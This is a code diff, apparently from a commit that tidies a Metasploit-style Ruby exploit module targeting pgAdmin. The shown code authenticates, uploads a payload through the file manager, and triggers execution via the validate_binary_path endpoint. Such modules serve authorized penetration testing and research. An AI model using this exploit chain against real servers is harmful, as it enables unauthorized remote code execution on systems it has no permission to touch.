@@ -44,8 +44,8 @@ def initialize(info = {})
44
44
'DefaultTarget' => 0 ,
45
45
'Notes' => {
46
46
'Stability' => [ CRASH_SAFE , ] ,
47
- 'Reliability' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES , IOC_IN_LOGS , ] ,
48
- 'SideEffects' => [ REPEATABLE_SESSION , ]
47
+ 'Reliability' => [ REPEATABLE_SESSION , ] ,
48
+ 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES , IOC_IN_LOGS , ]
49
49
}
50
50
)
51
51
)
@@ -96,8 +96,9 @@ def auth_required?
96
96
97
97
def on_windows?
98
98
res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'browser/js/utils.js' ) , 'keep_cookies' => true )
99
- if res &.code == 200 && platform = res . body . scan ( /pgAdmin\[ 'platform'\] \s *=\s *'([^']+)';/ ) &.flatten &.first
100
- return platform == 'win32' ? true : false
99
+ if res &.code == 200
100
+ platform = res . body . scan ( /pgAdmin\[ 'platform'\] \s *=\s *'([^']+)';/ ) &.flatten &.first
101
+ return platform == 'win32'
101
102
end
102
103
end
103
104
@@ -139,17 +140,17 @@ def exploit
139
140
140
141
if auth_required?
141
142
res = send_request_cgi ( {
142
- 'uri' => normalize_uri ( target_uri . path , 'authenticate/login' ) ,
143
- 'method' => 'POST' ,
144
- 'keep_cookies' => true ,
145
- 'vars_post' => {
146
- 'csrf_token' => csrf_token ,
147
- 'email' => datastore [ 'USERNAME' ] ,
148
- 'password' => datastore [ 'PASSWORD' ] ,
149
- 'language' => 'en' ,
150
- 'internal_button' => 'Login'
151
- }
152
- } )
143
+ 'uri' => normalize_uri ( target_uri . path , 'authenticate/login' ) ,
144
+ 'method' => 'POST' ,
145
+ 'keep_cookies' => true ,
146
+ 'vars_post' => {
147
+ 'csrf_token' => csrf_token ,
148
+ 'email' => datastore [ 'USERNAME' ] ,
149
+ 'password' => datastore [ 'PASSWORD' ] ,
150
+ 'language' => 'en' ,
151
+ 'internal_button' => 'Login'
152
+ }
153
+ } )
153
154
154
155
unless res &.code == 302 && res . headers [ 'Location' ] != normalize_uri ( target_uri . path , 'login' )
155
156
fail_with ( Failure ::NoAccess , 'Failed to authenticate to pgAdmin' )
@@ -171,17 +172,17 @@ def exploit
171
172
172
173
def file_manager_init
173
174
res = send_request_cgi ( {
174
- 'uri' => normalize_uri ( target_uri . path , 'file_manager/init' ) ,
175
- 'method' => 'POST' ,
176
- 'keep_cookies' => true ,
177
- 'ctype' => 'application/json' ,
178
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
179
- 'data' => {
180
- 'dialog_type' => 'storage_dialog' ,
181
- 'supported_types' => [ 'sql' , 'csv' , 'json' , '*' ] ,
182
- 'dialog_title' => 'Storage Manager'
183
- } . to_json
184
- } )
175
+ 'uri' => normalize_uri ( target_uri . path , 'file_manager/init' ) ,
176
+ 'method' => 'POST' ,
177
+ 'keep_cookies' => true ,
178
+ 'ctype' => 'application/json' ,
179
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
180
+ 'data' => {
181
+ 'dialog_type' => 'storage_dialog' ,
182
+ 'supported_types' => [ 'sql' , 'csv' , 'json' , '*' ] ,
183
+ 'dialog_title' => 'Storage Manager'
184
+ } . to_json
185
+ } )
185
186
186
187
unless res &.code == 200 && ( trans_id = res . get_json_document . dig ( 'data' , 'transId' ) ) && ( home_folder = res . get_json_document . dig ( 'data' , 'options' , 'homedir' ) )
187
188
fail_with ( Failure ::UnexpectedReply , 'Failed to initialize a file manager transaction Id or home folder' )
@@ -205,13 +206,13 @@ def file_manager_upload_and_trigger(file_path, file_contents)
205
206
form . add_part ( 'my_storage' , nil , nil , 'form-data; name="storage_folder"' )
206
207
207
208
res = send_request_cgi ( {
208
- 'uri' => normalize_uri ( target_uri . path , "/file_manager/filemanager/#{ trans_id } /" ) ,
209
- 'method' => 'POST' ,
210
- 'keep_cookies' => true ,
211
- 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
212
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
213
- 'data' => form . to_s
214
- } )
209
+ 'uri' => normalize_uri ( target_uri . path , "/file_manager/filemanager/#{ trans_id } /" ) ,
210
+ 'method' => 'POST' ,
211
+ 'keep_cookies' => true ,
212
+ 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
213
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
214
+ 'data' => form . to_s
215
+ } )
215
216
unless res &.code == 200 && res . get_json_document [ 'success' ] == 1
216
217
fail_with ( Failure ::UnexpectedReply , 'Failed to upload file contents' )
217
218
end
@@ -221,15 +222,15 @@ def file_manager_upload_and_trigger(file_path, file_contents)
221
222
print_status ( "Payload uploaded to: #{ upload_path } " )
222
223
223
224
send_request_cgi ( {
224
- 'uri' => normalize_uri ( target_uri . path , '/misc/validate_binary_path' ) ,
225
- 'method' => 'POST' ,
226
- 'keep_cookies' => true ,
227
- 'ctype' => 'application/json' ,
228
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
229
- 'data' => {
230
- 'utility_path' => upload_path [ 0 ..upload_path . size - 16 ]
231
- } . to_json
232
- } )
225
+ 'uri' => normalize_uri ( target_uri . path , '/misc/validate_binary_path' ) ,
226
+ 'method' => 'POST' ,
227
+ 'keep_cookies' => true ,
228
+ 'ctype' => 'application/json' ,
229
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
230
+ 'data' => {
231
+ 'utility_path' => upload_path [ 0 ..upload_path . size - 16 ]
232
+ } . to_json
233
+ } )
233
234
234
235
true
235
236
end
0 commit comments